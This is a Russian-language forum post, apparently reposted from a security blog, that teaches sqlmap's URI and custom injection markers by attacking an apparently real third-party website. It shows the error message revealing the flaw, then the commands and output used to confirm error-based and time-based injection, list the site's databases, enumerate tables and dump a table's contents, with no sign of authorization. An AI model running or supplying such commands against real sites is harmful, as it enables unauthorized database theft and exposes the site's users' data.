Загрузка...

Using sqlmap to inject into a website page address (URI). Arbitrary injection points

Thread in WiFi created by mxlsoermmidh Mar 1, 2018. 253 views

  1. mxlsoermmidh
    mxlsoermmidh Topic starter Mar 1, 2018 24 Mar 1, 2018
    Точка инъекции в URI
    Имеются особые случаи, когда точка инъекции находится внутри самого URI. К примеру, если мы перейдём на страницу http://youfio.ru/name/АГАФЬЯ.html, то увидим веб-сайт:

    [IMG]

    А если в URI мы добавим кавычку, чтобы получилось так
    http://youfio.ru/name/АГАФЬЯ'.html, то мы увидим знакомое:

    [IMG]

    1
    Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4
    sqlmap не выполняет каких либо автоматических тестов в отношении URI путей, если на них не указано вручную. Для этого вам нужно указать точку инъекции в командной строке, добавив звёздочку (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) после точки URI, которую вы хотите, чтобы sqlmap протестировала и эксплуатировала SQL-инъекцию.

    Это особенно полезно, например, когда используется модуль mod_rewrite веб-сервера Apache или другие подобные технологии.

    Пример правильной команды:

    1
    sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
    Вернёмся к нашей Агафье. Чтобы проверить тот сайт команда должна выглядеть следующим образом:

    1
    sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html"
    Программа говорит:

    1
    custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
    Т.е. в опции '-u' был найден пользовательский маркер инъекции ('*'). Хотим ли мы продолжить – соглашаемся, поскольку никакой ошибки нет.

    Опять программа спрашивает:

    1
    how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
    Как вы хотите продолжить, на выбор опции (C) – проолжить, (s) – строка, (r) – регулярное выражение, (q) – выйти. Выбираем C, т.е. продолжить.

    Программа говорит:

    1
    it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
    Похоже, что в качестве СУБД установлена MySQL. Хотим ли мы пропустить тесты, предназначенные для других СУБД – соглашаемся.

    Опять вопрос:

    1
    for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
    Для продолжения тестов, вы хотите включить все тесты для расширения 'MySQL', обеспечивающего уровень (1) и риск (1)? Это на ваш выбор – я отказываюсь.

    [IMG]

    Действительно имеется уязвимость SQL-инъекция, об этом говорят строки:


    1
    2
    [17:21:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
    [17:21:15] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks
    Перевод:

    • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим (возможная СУБД: 'MySQL')
    • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим к атакам межсайтового скриптинга (XSS)
    Кстати, если вы не знали, теперь sqlmap проверяет и на XSS.


    Подробности об уязвимости:

    1
    [17:22:05] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
    Версия 'MySQL >= 5.0 и имеется error-based (основанная на ошибке) SQL-инъекция (самая удобная для нападающего, т.к. с её помощью можно быстро получить содержимое баз данных).

    И ещё:

    1
    [17:23:57] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
    Уточнена версия MySQL >= 5.0.12, а также имеется time-based blind (слепая, основанная на времени) SQL-инъекция

    Далее, как и при обычных SQL-инъекциях, когда уязвимым является GET или POST параметр, мы получаем список баз данных:

    1
    sqlmap -u "
    http://youfio.ru/name/АГАФЬЯ*.html" --dbs
    На сервере имеются следующие базы данных:

    1
    2
    3
    available databases [2]:
    [*] information_schema
    [*] snicke_youfioru
    [IMG]

    Получаем таблицы в базе данных 'snicke_youfioru':

    1
    sqlmap -u "
    http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables
    Полученный список таблиц:

    [IMG]


    Получаем содержимое таблицы 'message':

    1
    sqlmap -u "[URL]http://youfio.ru/name/АГАФЬЯ*.html[/URL]" -D 'snicke_youfioru' -T 'message' --dump
    [URL='https://hackware.ru/wp-content/uploads/2018/02/36.png']
    [IMG]

    Произвольная точка инъекции
    По аналогии с URI точкой инъекции, звёздочка (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) может также использоваться для указания произвольного места внутри GET, POST или HTTP заголовков. Точку инъекции можно указать, отметив её внутри значения(ий) параметра GET, указанного с опцией -u, значения(ий) параметра POST переданного опцией --data, значения(ий) HTTP заголовков, предоставленного опциями -H, --headers, --user-agent, --referer и/или --cookie, или в общем месте внутри HTTP-запроса, загруженного из файла с параметром -r.

    Примером правильной команды может быть:

    1
    sqlmap -u "[URL]http://targeturl[/URL]" --cookie="param1=value1*;param2=value2"
    Звёздочку можно использовать более одного раза, т.е. точек инъекций может быть несколько, например:

    1
    sqlmap -u "[URL]http://www.example.com/*-*[/URL]"[/URL]
     
Loading...
Top